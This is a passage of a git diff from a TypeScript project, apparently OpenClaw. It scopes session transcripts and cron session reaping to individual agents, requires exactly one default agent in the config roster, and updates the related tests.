b/src/config/sessions/transcript.test.ts @@ -59,6 +59,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { { sessionId: "warm-session", chatType: "direct", updatedAt: 1 }, ); await appendAssistantMessageToSessionTranscript({ + agentId: "main", sessionKey: "warm", text: "warm", storePath, @@ -70,7 +71,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { const fixture = useTempSessionsFixture("transcript-test-"); const sessionId = "test-session-id"; - const sessionKey = "test-session"; + const sessionKey = "agent:main:test-session"; type ExactAssistantMessage = Parameters< typeof appendExactAssistantMessageToSessionTranscript >[0]["message"]; @@ -990,6 +991,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { await expect( readRecentUserAssistantTextForSession({ + agentId: "main", sessionKey, storePath: fixture.storePath(), beforeTimestampMs: 5_000, @@ -1035,7 +1037,11 @@ describe("appendAssistantMessageToSessionTranscript", () => { ); await expect( - readRecentUserAssistantTextForSession({ sessionKey, storePath: fixture.storePath() }), + readRecentUserAssistantTextForSession({ + agentId: "main", + sessionKey, + storePath: fixture.storePath(), + }), ).resolves.toEqual([]); const databasePath = resolveSqliteTargetFromSessionStorePath(fixture.storePath(), { agentId: "main", @@ -1043,7 +1049,11 @@ describe("appendAssistantMessageToSessionTranscript", () => { await waitForSessionTranscriptIndexReconcile({ agentId: "main", path: databasePath }); await expect( - readRecentUserAssistantTextForSession({ sessionKey, storePath: fixture.storePath() }), + readRecentUserAssistantTextForSession({ + agentId: "main", + sessionKey, + storePath: fixture.storePath(), + }), ).resolves.toEqual([ { id: "root-user", role: "user", text: "keep this branch", timestamp: 1_000 }, { id: "active-reply", role: "assistant", text: "active answer", timestamp: 2_000 }, @@ -1060,6 +1070,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { ); await expect( readRecentUserAssistantTextForSession({ + agentId: "main", sessionKey, storePath: fixture.storePath(), beforeTimestampMs: 2_500, @@ -1071,6 +1082,47 @@ describe("appendAssistantMessageToSessionTranscript", () => { ]); }); + it("rejects a session key scoped to a different agent", async () => { + await expect( + readRecentUserAssistantTextForSession({ + agentId: "main", + sessionKey: "agent:worker:main", + storePath: fixture.storePath(), + }), + ).rejects.toMatchObject({ + code: "SESSION_TRANSCRIPT_AGENT_SCOPE_MISMATCH", + name: "SessionTranscriptAgentScopeMismatchError", + }); + }); + + it("resolves an unscoped main alias with the configured agent owner", async () => { + const mainSessionKey = "agent:main:main"; + await writeTranscriptSessionEntry({ entry: { sessionId }, sessionKey: mainSessionKey }); + await persistSessionTranscriptTurn( + { agentId: "main", sessionId, sessionKey: mainSessionKey, storePath: fixture.storePath() }, + { + updateMode: "none", + messages: [{ message: { role: "user", content: "from main alias", timestamp: 4_000 } }], + }, + ); + + await expect( + readRecentUserAssistantTextForSession({ + agentId: "main", + sessionKey: "main", + storePath: fixture.storePath(), + beforeTimestampMs: 5_000, + }), + ).resolves.toEqual([ + { + id: expect.any(String), + role: "user", + text: "from main alias", + timestamp: 4_000, + }, + ]); + }); + it("prefers SQLite transcript rows for recent context from session identity", async () => { await writeTranscriptStore(); const sessionFile = resolveSessionTranscriptPathInDir(sessionId, fixture.sessionsDir()); @@ -1097,6 +1149,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { await expect( readRecentUserAssistantTextForSession({ + agentId: "main", sessionKey, storePath: fixture.storePath(), beforeTimestampMs: 5_000, @@ -1137,6 +1190,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { await expect( readRecentUserAssistantTextForSession({ + agentId: "main", sessionKey, storePath: fixture.storePath(), beforeTimestampMs: 5_000, @@ -1156,6 +1210,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { await expect( readRecentUserAssistantTextForSession({ + agentId: "main", sessionKey, storePath: fixture.storePath(), beforeTimestampMs: 5_000, @@ -1192,6 +1247,7 @@ describe("appendAssistantMessageToSessionTranscript", () => { await expect( readRecentUserAssistantTextForSession({ + agentId: "main", sessionKey, storePath: fixture.storePath(), beforeTimestampMs: 3_000, diff --git a/src/config/sessions/transcript.ts b/src/config/sessions/transcript.ts index 080c0ee3ef8f..4afe62d99976 100644 --- a/src/config/sessions/transcript.ts +++ b/src/config/sessions/transcript.ts @@ -1,9 +1,15 @@ // Session transcript facade resolves transcript files, appends mirror messages, and reads tails. +import { resolveDefaultAgentId } from "../../agents/agent-scope.js"; import type { AgentMessage } from "../../agents/runtime/index.js"; import type { SessionManager } from "../../agents/sessions/session-manager.js"; import { redactTranscriptMessage } from "../../agents/transcript-redact.js"; import { formatErrorMessage } from "../../infra/errors.js"; -import { parseAgentSessionKey, resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; +import { + normalizeAgentId, + parseAgentSessionKey, + resolveAgentIdFromSessionKey, + scopeLegacySessionKeyToAgent, +} from "../../routing/session-key.js"; import { extractAssistantVisibleText, extractFirstTextBlock, @@ -105,11 +111,25 @@ type ReadRecentSessionConversationTextOptions = { }; type ReadRecentSessionConversationTextParams = ReadRecentSessionConversationTextOptions & { - agentId?: string; + agentId: string; sessionKey: string; storePath?: string; }; +class SessionTranscriptAgentScopeMismatchError extends Error { + readonly code = "SESSION_TRANSCRIPT_AGENT_SCOPE_MISMATCH"; + + constructor( + readonly agentId: string, + readonly sessionKeyAgentId: string, + ) { + super( + `Session transcript agent scope mismatch: explicit agent "${agentId}" does not match session key agent "${sessionKeyAgentId}".`, + ); + this.name = "SessionTranscriptAgentScopeMismatchError"; + } +} + export type LatestAssistantTranscriptText = AssistantTranscriptText; type TailAssistantTranscriptText = AssistantTranscriptText; @@ -267,9 +287,19 @@ function resolveSessionConversationTranscriptTarget(params: { if (!sessionKey) { return {}; } - const agentId = params.agentId ?? resolveAgentIdFromSessionKey(sessionKey) ?? "main"; + const explicitAgentId = params.agentId?.trim() ? normalizeAgentId(params.agentId) : undefined; + const sessionKeyAgentId = parseAgentSessionKey(sessionKey)?.agentId; + if ( + explicitAgentId && + sessionKeyAgentId && + explicitAgentId !== normalizeAgentId(sessionKeyAgentId) + ) { + throw new SessionTranscriptAgentScopeMismatchError(explicitAgentId, sessionKeyAgentId); + } + const agentId = explicitAgentId ?? resolveAgentIdFromSessionKey(sessionKey); + const scopedSessionKey = scopeLegacySessionKeyToAgent({ agentId, sessionKey }) ?? sessionKey; const storePath = params.storePath ?? resolveDefaultSessionStorePath(agentId); - const entry = loadSessionEntryReadOnly({ agentId, sessionKey, storePath }); + const entry = loadSessionEntryReadOnly({ agentId, sessionKey: scopedSessionKey, storePath }); if (!entry?.sessionId) { return {}; } @@ -489,7 +519,10 @@ export async function appendExactAssistantMessageToSessionTranscript(params: { const explicitAgentId = params.agentId?.trim() || undefined; const sessionAgentId = parseAgentSessionKey(sessionKey)?.agentId; const transcriptAgentId = explicitAgentId ?? sessionAgentId; - const storeAgentId = transcriptAgentId ?? resolveAgentIdFromSessionKey(sessionKey); + const configuredDefaultAgentId = + !transcriptAgentId && params.config ? resolveDefaultAgentId(params.config) : undefined; + const storeAgentId = + transcriptAgentId ?? resolveAgentIdFromSessionKey(sessionKey, configuredDefaultAgentId); const storePath = params.storePath ?? resolveStorePath(params.config?.session?.store, { agentId: storeAgentId }); const store = Object.fromEntries( diff --git a/src/config/types.openclaw.ts b/src/config/types.openclaw.ts index cfa43442275f..d84c8b083de8 100644 --- a/src/config/types.openclaw.ts +++ b/src/config/types.openclaw.ts @@ -279,12 +279,16 @@ export type ConfigFileSnapshot = { path: string; /** Lexical and canonical file paths reached while resolving $include directives. */ includedPaths?: string[]; + /** Include contribution provenance needed by authored-layer repair decisions. */ + includeProvenance?: { agentRoster: boolean }; /** Whether the config file exists on disk. */ exists: boolean; /** Raw file contents before parsing; null when missing. */ raw: string | null; /** Parsed JSON/JSONC/YAML value before schema normalization. */ parsed: unknown; + /** Include/env-resolved source before raw compatibility migrations. */ + sourceConfigBeforeMigrations?: ResolvedSourceConfig; /** * Config authored on disk after $include resolution and ${ENV} substitution, * but BEFORE runtime defaults are applied. diff --git a/src/config/validation.ts b/src/config/validation.ts index 0d1a68f98343..5c12ba4233b6 100644 --- a/src/config/validation.ts +++ b/src/config/validation.ts @@ -4,7 +4,12 @@ import { collectConfiguredModelRefs } from "@openclaw/model-catalog-core/configu import { isCanonicalDottedDecimalIPv4, isLoopbackIpAddress } from "@openclaw/net-policy/ip"; import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; import { sanitizeForLog } from "../../packages/terminal-core/src/ansi.js"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentEntries, + listAgentEntriesWithSource, + resolveAgentWorkspaceDir, + resolveDefaultAgentId, +} from "../agents/agent-scope.js"; import { type ChannelDmAllowFromMode, resolveChannelDmAllowFrom, @@ -53,6 +58,7 @@ import { collectChannelSchemaMetadataWithOwnership, } from "./channel-config-metadata.js"; import { shouldSuppressMissingCodexPluginDiagnostics } from "./codex-plugin-diagnostics.js"; +import { migratePersistedImplicitMainRoster } from "./legacy.roster.js"; import { materializeRuntimeConfig } from "./materialize.js"; import { isModelPolicyCompatSelector, @@ -954,21 +960,27 @@ function isWorkspaceAvatarPath(value: string, workspaceDir: string): boolean { return isPathWithinRoot(workspaceRoot, resolved); } -function createIdentityAvatarIssue(index: number, message: string): ConfigValidationIssue { - const pathSegments = ["agents", "list", index, "identity", "avatar"] as const; +function createIdentityAvatarIssue( + source: ReturnType[number]["source"], + message: string, +): ConfigValidationIssue { + const pathSegments = + source.kind === "entries" + ? (["agents", "entries", source.key, "identity", "avatar"] as const) + : (["agents", "list", source.index, "identity", "avatar"] as const); return withConfigIssuePath({ path: formatConfigPath(pathSegments), message }, pathSegments); } -function validateIdentityAvatar(config: OpenClawConfig): ConfigValidationIssue[] { - const agents = config.agents?.list; - if (!Array.isArray(agents) || agents.length === 0) { +function validateIdentityAvatar( + config: OpenClawConfig, + env?: NodeJS.ProcessEnv, +): ConfigValidationIssue[] { + const agents = listAgentEntriesWithSource(config); + if (agents.length === 0) { return []; } const issues: ConfigValidationIssue[] = []; - for (const [index, entry] of agents.entries()) { - if (!entry || typeof entry !== "object") { - continue; - } + for (const { entry, source } of agents) { const avatarRaw = entry.identity?.avatar; if (typeof avatarRaw !== "string") { continue; @@ -983,7 +995,7 @@ function validateIdentityAvatar(config: OpenClawConfig): ConfigValidationIssue[] if (avatar.startsWith("~")) { issues.push( createIdentityAvatarIssue( - index, + source, "identity.avatar must be a workspace-relative path, http(s) URL, or data URI.", ), ); @@ -993,7 +1005,7 @@ function validateIdentityAvatar(config: OpenClawConfig): ConfigValidationIssue[] if (hasScheme && !isWindowsAbsolutePath(avatar)) { issues.push( createIdentityAvatarIssue( - index, + source, "identity.avatar must be a workspace-relative path, http(s) URL, or data URI.", ), ); @@ -1002,10 +1014,11 @@ function validateIdentityAvatar(config: OpenClawConfig): ConfigValidationIssue[] const workspaceDir = resolveAgentWorkspaceDir( config, entry.id ?? resolveDefaultAgentId(config), + env, ); if (!isWorkspaceAvatarPath(avatar, workspaceDir)) { issues.push( - createIdentityAvatarIssue(index, "identity.avatar must stay within the agent workspace."), + createIdentityAvatarIssue(source, "identity.avatar must stay within the agent workspace."), ); } } @@ -1097,10 +1110,12 @@ function collectModelPolicyAllowIssues(config: OpenClawConfig): ConfigValidation "agents.defaults.modelPolicy.allow", defaultAliases, ); - for (const [index, agent] of (config.agents?.list ?? []).entries()) { + for (const { entry: agent, source } of listAgentEntriesWithSource(config)) { + const pathPrefix = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`; validateRefs( agent.modelPolicy?.allow, - `agents.list.${index}.modelPolicy.allow`, + `${pathPrefix}.modelPolicy.allow`, collectAliases(defaultModels, agent.models), ); } @@ -1118,6 +1133,7 @@ export function validateConfigObjectRaw( touchedPaths?: ReadonlyArray>; validateBundledChannels?: boolean; preservedLegacyRootKeys?: readonly string[]; + env?: NodeJS.ProcessEnv; }, ): { ok: true; config: OpenClawConfig } | { ok: false; issues: ConfigValidationIssue[] } { const normalizedRaw = stripPreservedLegacyRootKeysForValidation( @@ -1161,7 +1177,7 @@ export function validateConfigObjectRaw( ], }; } - const avatarIssues = validateIdentityAvatar(validatedConfig); + const avatarIssues = validateIdentityAvatar(validatedConfig, opts?.env); if (avatarIssues.length > 0) { return { ok: false, issues: avatarIssues }; } @@ -1190,7 +1206,7 @@ export function validateConfigObject( sourceRaw?: unknown; }, ): { ok: true; config: OpenClawConfig } | { ok: false; issues: ConfigValidationIssue[] } { - const result = validateConfigObjectRaw(raw, opts); + const result = validateConfigObjectRaw(migratePersistedImplicitMainRoster(raw).config, opts); if (!result.ok) { return result; } @@ -1211,9 +1227,7 @@ function attachAgentListProjection(config: OpenClawConfig): OpenClawConfig { Object.defineProperty(config.agents, "list", { configurable: true, enumerable: false, - value: Object.entries(config.agents.entries ?? {}).map(([id, entry]) => - Object.assign({ id }, entry), - ), + value: listAgentEntries(config), writable: false, }); return config; @@ -1246,7 +1260,8 @@ export function validateConfigObjectWithPlugins( raw: unknown, params?: ValidateConfigWithPluginsParams, ): ValidateConfigWithPluginsResult { - return validateConfigObjectWithPluginsBase(raw, { + const migrated = migratePersistedImplicitMainRoster(raw).config; + return validateConfigObjectWithPluginsBase(migrated, { applyDefaults: true, env: params?.env, pluginValidation: params?.pluginValidation ?? "full", @@ -1261,7 +1276,8 @@ export function validateConfigObjectRawWithPlugins( raw: unknown, params?: ValidateConfigWithPluginsParams, ): ValidateConfigWithPluginsResult { - return validateConfigObjectWithPluginsBase(raw, { + const migrated = migratePersistedImplicitMainRoster(raw).config; + return validateConfigObjectWithPluginsBase(migrated, { applyDefaults: false, env: params?.env, pluginValidation: params?.pluginValidation ?? "full", @@ -1279,6 +1295,7 @@ function validateConfigObjectWithPluginsBase( const base = validateConfigObjectRaw(raw, { sourceRaw: opts.sourceRaw, preservedLegacyRootKeys: opts.preservedLegacyRootKeys, + env: opts.env, }); if (!base.ok) { return { ok: false, issues: base.issues, warnings: [] }; @@ -1376,7 +1393,7 @@ function validateConfigObjectWithPluginsBase( registryInfo = { registry: pluginMetadataSnapshot.manifestRegistry }; return registryInfo; } - const workspaceDir = resolveAgentWorkspaceDir(config, resolveDefaultAgentId(config)); + const workspaceDir = resolveAgentWorkspaceDir(config, resolveDefaultAgentId(config), opts.env); const registry = resolvePluginMetadataSnapshot({ config, workspaceDir: workspaceDir ?? undefined, @@ -1886,10 +1903,10 @@ function validateConfigObjectWithPluginsBase( config.agents?.defaults?.heartbeat?.target, "agents.defaults.heartbeat.target", ); - if (Array.isArray(config.agents?.list)) { - for (const [index, entry] of config.agents.list.entries()) { - validateHeartbeatTarget(entry?.heartbeat?.target, `agents.list.${index}.heartbeat.target`); - } + for (const { entry, source } of listAgentEntriesWithSource(config)) { + const pathPrefix = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`; + validateHeartbeatTarget(entry?.heartbeat?.target, `${pathPrefix}.heartbeat.target`); } validateWebSearchProvider(); @@ -2027,7 +2044,11 @@ function validateConfigObjectWithPluginsBase( if ( normalizePluginId(pluginId) === "codex" && pathLocal === "plugins.entries.codex" && - shouldSuppressMissingCodexPluginDiagnostics(config, opts.env ?? process.env) + shouldSuppressMissingCodexPluginDiagnostics( + config, + opts.env ?? process.env, + isRecord(raw) ? (raw as OpenClawConfig) : undefined, + ) ) { return; } diff --git a/src/config/zod-schema.agent-defaults.test.ts b/src/config/zod-schema.agent-defaults.test.ts index def206341387..3784981de675 100644 --- a/src/config/zod-schema.agent-defaults.test.ts +++ b/src/config/zod-schema.agent-defaults.test.ts @@ -58,7 +58,10 @@ describe("agent defaults schema", () => { it("rejects malformed model policy refs during config validation", () => { for (const entry of ["", "///", "provider//model", "nogarbageprovider"]) { const result = validateConfigObject({ - agents: { defaults: { modelPolicy: { allow: [entry] } } }, + agents: { + defaults: { modelPolicy: { allow: [entry] } }, + entries: { main: { default: true } }, + }, }); expect(result.ok, entry || "empty entry").toBe(false); @@ -74,6 +77,7 @@ describe("agent defaults schema", () => { it("accepts exact refs, nested wildcards, configured aliases, and compat selectors", () => { const result = validateConfigObject({ agents: { + entries: { main: { default: true } }, defaults: { models: { "anthropic/claude-sonnet-4-6": { alias: "sonnet" }, @@ -96,6 +100,24 @@ describe("agent defaults schema", () => { expect(result.ok).toBe(true); }); + it("reports keyed per-agent policy paths", () => { + const result = validateConfigObject({ + agents: { + entries: { + main: { default: true }, + runner: { modelPolicy: { allow: ["not-a-model-ref"] } }, + }, + }, + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.issues).toContainEqual( + expect.objectContaining({ path: "agents.entries.runner.modelPolicy.allow.0" }), + ); + } + }); + it("accepts subagent archiveAfterMinutes=0 to disable archiving", () => { expectSchemaSuccess( AgentDefaultsSchema.safeParse({ @@ -460,6 +482,7 @@ describe("agent defaults schema", () => { agents: { entries: { ops: { + default: true, contextTokens: 1_048_576, }, }, diff --git a/src/config/zod-schema.agents.test.ts b/src/config/zod-schema.agents.test.ts new file mode 100644 index 000000000000..bd4cbd63cf75 --- /dev/null +++ b/src/config/zod-schema.agents.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, it } from "vitest"; +import { AgentsSchema } from "./zod-schema.agents.js"; + +describe("agent roster defaults", () => { + it("rejects an empty roster after load-time migration", () => { + expect(AgentsSchema.safeParse({ entries: {} }).success).toBe(false); + }); + + it("requires exactly one default in a non-empty roster", () => { + expect(AgentsSchema.safeParse({ entries: { alpha: { default: true } } }).success).toBe(true); + for (const entries of [{ alpha: {} }, { alpha: { default: true }, beta: { default: true } }]) { + const result = AgentsSchema.safeParse({ entries }); + expect(result.success).toBe(false); + if (!result.success) { + expect(result.error.issues).toContainEqual(expect.objectContaining({ path: ["entries"] })); + } + } + }); +}); diff --git a/src/config/zod-schema.agents.ts b/src/config/zod-schema.agents.ts index 92ba326dd5fa..052e75849a43 100644 --- a/src/config/zod-schema.agents.ts +++ b/src/config/zod-schema.agents.ts @@ -1,10 +1,29 @@ // Defines agent-related Zod schema fragments for config parsing. import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { z } from "zod"; +import { isBlockedObjectKey } from "../infra/prototype-keys.js"; import { AgentDefaultsSchema } from "./zod-schema.agent-defaults.js"; import { AgentEntrySchema } from "./zod-schema.agent-runtime.js"; -const AgentEntryConfigSchema = AgentEntrySchema.omit({ id: true }); +const AgentEntryConfigSchema = z.preprocess( + (value, ctx) => { + if (value && typeof value === "object" && !Array.isArray(value)) { + for (const key of Object.getOwnPropertyNames(value)) { + if (!isBlockedObjectKey(key)) { + continue; + } + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: [key], + message: "agent entries must not contain blocked object keys", + }); + return z.NEVER; + } + } + return value; + }, + AgentEntrySchema.omit({ id: true }), +); export const AgentsSchema = z .object({ @@ -17,6 +36,17 @@ export const AgentsSchema = z .optional(), }) .strict() + .superRefine((value, ctx) => { + const agents = Object.values(value.entries ?? {}); + const defaultCount = agents.filter((agent) => agent.default === true).length; + if (defaultCount !== 1) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: ["entries"], + message: `agents.entries must contain exactly one default=true entry (found ${defaultCount})`, + }); + } + }) .optional(); const BindingMatchSchema = z diff --git a/src/config/zod-schema.ts b/src/config/zod-schema.ts index 411f436fd267..8e663dcbda4e 100644 --- a/src/config/zod-schema.ts +++ b/src/config/zod-schema.ts @@ -1,5 +1,7 @@ import { z } from "zod"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { normalizeAgentId } from "../routing/session-key.js"; +import type { OpenClawConfig } from "./types.openclaw.js"; import { OpenClawSchemaShape } from "./zod-schema.root-shape.js"; // zod@4 ships "sideEffects": false, so bundlers tree-shake the classic entry's @@ -13,9 +15,7 @@ function installZodDefaultLocale(): void { installZodDefaultLocale(); export const OpenClawSchema = z.strictObject(OpenClawSchemaShape).superRefine((cfg, ctx) => { - const agents = Object.entries(cfg.agents?.entries ?? {}).map(([id, entry]) => - Object.assign({ id }, entry), - ); + const agents = listAgentEntries(cfg as OpenClawConfig); if (agents.length === 0) { return; } diff --git a/src/cron/agent-id.ts b/src/cron/agent-id.ts new file mode 100644 index 000000000000..5eef58de141d --- /dev/null +++ b/src/cron/agent-id.ts @@ -0,0 +1,21 @@ +import { normalizeAgentId, parseAgentSessionKey } from "../routing/session-key.js"; + +type CronAgentScope = { + agentId?: string; + sessionKey?: string; +}; + +/** Resolves cron ownership: explicit non-blank id, scoped session key, then configured default. */ +export function resolveCronJobEffectiveAgentId( + job: CronAgentScope, + configuredDefaultAgentId?: string, +): string { + const agentId = + job.agentId?.trim() || + parseAgentSessionKey(job.sessionKey)?.agentId || + configuredDefaultAgentId?.trim(); + if (!agentId) { + throw new Error("Cron job has no agent id and no configured default was provided."); + } + return normalizeAgentId(agentId); +} diff --git a/src/cron/isolated-agent.test-harness.ts b/src/cron/isolated-agent.test-harness.ts index f07792576f4a..2ba88e3dac67 100644 --- a/src/cron/isolated-agent.test-harness.ts +++ b/src/cron/isolated-agent.test-harness.ts @@ -45,6 +45,7 @@ export function makeCfg( ): OpenClawConfig { const base: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { model: "anthropic/claude-opus-4-6", workspace: path.join(home, "openclaw"), diff --git a/src/cron/isolated-agent/delivery-dispatch.ts b/src/cron/isolated-agent/delivery-dispatch.ts index 360f9a900e78..91531e4bd8f4 100644 --- a/src/cron/isolated-agent/delivery-dispatch.ts +++ b/src/cron/isolated-agent/delivery-dispatch.ts @@ -41,11 +41,7 @@ import { normalizeTargetForProvider } from "../../infra/outbound/target-normaliz import { retryAsync } from "../../infra/retry.js"; import { hasReplyPayloadContent } from "../../interactive/payload.js"; import { stringifyRouteThreadId } from "../../plugin-sdk/channel-route.js"; -import { - isCronSessionKey, - parseThreadSessionSuffix, - resolveAgentIdFromSessionKey, -} from "../../routing/session-key.js"; +import { isCronSessionKey, parseThreadSessionSuffix } from "../../routing/session-key.js"; import { beginSessionWorkAdmission } from "../../sessions/session-lifecycle-admission.js"; import { createLazyImportLoader } from "../../shared/lazy-promise.js"; import { shouldAttemptTtsPayload } from "../../tts/tts-config.js"; @@ -1423,7 +1419,9 @@ export async function dispatchCronDelivery( // are folded into mirrorText so media does not replace delivered text. mediaUrls: undefined, storePath: resolveStorePath(params.cfgWithAgentDefaults.session?.store, { - agentId: resolveAgentIdFromSessionKey(deliverySessionKey), + // This mirror already carries the admitted run owner. Re-parsing a + // route alias can reject legacy keys or select a different store. + agentId: params.agentId, }), idempotencyKey: deliveryIdempotencyKey, config: params.cfgWithAgentDefaults, diff --git a/src/cron/isolated-agent/session.ts b/src/cron/isolated-agent/session.ts index 42f52c51308b..266fca6c6b40 100644 --- a/src/cron/isolated-agent/session.ts +++ b/src/cron/isolated-agent/session.ts @@ -151,7 +151,10 @@ export function resolveCronSession(params: { const store = params.store ?? Object.fromEntries( - listSessionEntries({ storePath }).map(({ sessionKey, entry }) => [sessionKey, entry]), + listSessionEntries({ agentId: params.agentId, storePath }).map(({ sessionKey, entry }) => [ + sessionKey, + entry, + ]), ); const sourceSessionKey = params.sourceSessionKey?.trim(); const sourceSessionDiffers = Boolean(sourceSessionKey && sourceSessionKey !== params.sessionKey); diff --git a/src/cron/service.list-page-sort-guards.test.ts b/src/cron/service.list-page-sort-guards.test.ts index 5f4e759e96f2..0c8412b13e7a 100644 --- a/src/cron/service.list-page-sort-guards.test.ts +++ b/src/cron/service.list-page-sort-guards.test.ts @@ -82,7 +82,23 @@ describe("cron listPage sort guards", () => { expect(page.jobs.map((job) => job.id)).toEqual(["job-ops", "job-unset"]); }); - it("matches omitted job agent ids to main when no default agent is configured", async () => { + it("matches scoped session owners before the configured default", async () => { + const jobs = [ + createBaseJob({ + id: "job-scoped", + agentId: undefined, + sessionKey: "agent:ops:main", + }), + ]; + const state = createMockCronStateForJobs({ jobs }); + state.deps.defaultAgentId = "main"; + + const page = await listPage(state, { agentId: "ops" }); + + expect(page.jobs.map((job) => job.id)).toEqual(["job-scoped"]); + }); + + it("matches omitted job agent ids to the prepared main default", async () => { const jobs = [ createBaseJob({ id: "job-main", agentId: "main", name: "main" }), createBaseJob({ id: "job-ops", agentId: "ops", name: "ops" }), diff --git a/src/cron/service.session-reaper-in-finally.test.ts b/src/cron/service.session-reaper-in-finally.test.ts index 05c204874cf5..3436b35f3118 100644 --- a/src/cron/service.session-reaper-in-finally.test.ts +++ b/src/cron/service.session-reaper-in-finally.test.ts @@ -70,6 +70,7 @@ describe("CronService - session reaper runs in finally block (#31946)", () => { requestHeartbeat: vi.fn(), // This will throw, simulating a failure during job execution. runIsolatedAgentJob: vi.fn().mockRejectedValue(new Error("gateway down")), + defaultAgentId: "main", sessionStorePath, }); @@ -87,16 +88,43 @@ describe("CronService - session reaper runs in finally block (#31946)", () => { }); }); - it("session reaper runs when resolveSessionStorePath is provided", async () => { + it("keeps same-path session reaper targets distinct by agent", async () => { const store = await makeStorePath(); const now = Date.parse("2026-02-10T10:00:00.000Z"); await saveCronStore(store.storePath, { version: 1, - jobs: [createDueIsolatedJob({ id: "ok-job", nowMs: now })], + jobs: [ + createDueIsolatedJob({ id: "default-job", nowMs: now }), + { + ...createDueIsolatedJob({ id: "worker-job", nowMs: now }), + agentId: undefined, + enabled: false, + sessionKey: "agent:worker:main", + sessionTarget: "main", + payload: { kind: "systemEvent", text: "worker task" }, + }, + ], }); - const resolvedPaths: string[] = []; + const resolvedAgentIds: string[] = []; + const sharedStorePath = path.join(path.dirname(store.storePath), "sessions", "sessions.json"); + await replaceSessionEntry( + { + agentId: "main", + storePath: sharedStorePath, + sessionKey: "agent:main:cron:default-job:run:expired", + }, + { sessionId: "main-expired", updatedAt: now - 25 * 3_600_000 }, + ); + await replaceSessionEntry( + { + agentId: "worker", + storePath: sharedStorePath, + sessionKey: "agent:worker:cron:worker-job:run:expired", + }, + { sessionId: "worker-expired", updatedAt: now - 25 * 3_600_000 }, + ); const state = createCronServiceState({ storePath: store.storePath, cronEnabled: true, @@ -105,23 +133,146 @@ describe("CronService - session reaper runs in finally block (#31946)", () => { enqueueSystemEvent: vi.fn(), requestHeartbeat: vi.fn(), runIsolatedAgentJob: vi.fn().mockResolvedValue({ status: "ok", summary: "done" }), + defaultAgentId: "main", resolveSessionStorePath: (agentId) => { - const p = path.join(path.dirname(store.storePath), `${agentId}-sessions`, "sessions.json"); - resolvedPaths.push(p); - return p; + if (!agentId) { + throw new Error("expected prepared agent id"); + } + resolvedAgentIds.push(agentId); + return sharedStorePath; }, }); await withCronServiceStateForTest(state, async () => { await onTimer(state); - // The resolveSessionStorePath callback should have been invoked to build - // the set of store paths for the session reaper. - expect(resolvedPaths.length).toBeGreaterThan(0); + expect([...new Set(resolvedAgentIds)].toSorted()).toEqual(["main", "worker"]); + expect(listSessionEntries({ agentId: "main", storePath: sharedStorePath })).toStrictEqual([]); + expect(listSessionEntries({ agentId: "worker", storePath: sharedStorePath })).toStrictEqual( + [], + ); expect(state.running).toBe(false); }); }); + it("resolves the current default agent for the session reaper", async () => { + const store = await makeStorePath(); + const now = Date.parse("2026-02-10T10:00:00.000Z"); + const sessionStorePath = path.join(path.dirname(store.storePath), "sessions", "sessions.json"); + await saveCronStore(store.storePath, { version: 1, jobs: [] }); + await replaceSessionEntry( + { + agentId: "ops", + storePath: sessionStorePath, + sessionKey: "agent:ops:cron:default:run:expired", + }, + { sessionId: "ops-expired", updatedAt: now - 25 * 3_600_000 }, + ); + + const resolvedAgentIds: string[] = []; + const state = createCronServiceState({ + storePath: store.storePath, + cronEnabled: true, + log: noopLogger, + nowMs: () => now, + enqueueSystemEvent: vi.fn(), + requestHeartbeat: vi.fn(), + runIsolatedAgentJob: vi.fn(), + resolveDefaultAgentId: () => "ops", + resolveSessionStorePath: (agentId) => { + if (!agentId) { + throw new Error("expected prepared agent id"); + } + resolvedAgentIds.push(agentId); + return sessionStorePath; + }, + }); + + await withCronServiceStateForTest(state, async () => { + await expect(onTimer(state)).resolves.toBeUndefined(); + + expect([...new Set(resolvedAgentIds)]).toEqual(["ops"]); + expect(listSessionEntries({ agentId: "ops", storePath: sessionStorePath })).toStrictEqual([]); + }); + }); + + it("sweeps every job owner in one static session store", async () => { + const store = await makeStorePath(); + const now = Date.parse("2026-02-10T10:00:00.000Z"); + const sessionStorePath = path.join(path.dirname(store.storePath), "sessions", "sessions.json"); + await saveCronStore(store.storePath, { + version: 1, + jobs: [createDueIsolatedJob({ id: "default-job", nowMs: now })], + }); + for (const agentId of ["main", "worker"]) { + await replaceSessionEntry( + { + agentId, + storePath: sessionStorePath, + sessionKey: `agent:${agentId}:cron:expired:run:stale`, + }, + { sessionId: `${agentId}-expired`, updatedAt: now - 25 * 3_600_000 }, + ); + } + const state = createCronServiceState({ + storePath: store.storePath, + cronEnabled: true, + log: noopLogger, + nowMs: () => now, + enqueueSystemEvent: vi.fn(), + requestHeartbeat: vi.fn(), + runIsolatedAgentJob: vi.fn().mockResolvedValue({ status: "ok", summary: "done" }), + defaultAgentId: "main", + resolveSessionStoreAgentIds: () => ["main", "worker"], + sessionStorePath, + }); + + await withCronServiceStateForTest(state, async () => { + await onTimer(state); + + expect(listSessionEntries({ agentId: "main", storePath: sessionStorePath })).toStrictEqual( + [], + ); + expect(listSessionEntries({ agentId: "worker", storePath: sessionStorePath })).toStrictEqual( + [], + ); + }); + }); + + it("sweeps a persisted owner after it leaves the roster and cron store", async () => { + const store = await makeStorePath(); + const now = Date.parse("2026-02-10T10:00:00.000Z"); + const sessionStorePath = path.join(path.dirname(store.storePath), "sessions", "sessions.json"); + await saveCronStore(store.storePath, { version: 1, jobs: [] }); + await replaceSessionEntry( + { + agentId: "retired", + storePath: sessionStorePath, + sessionKey: 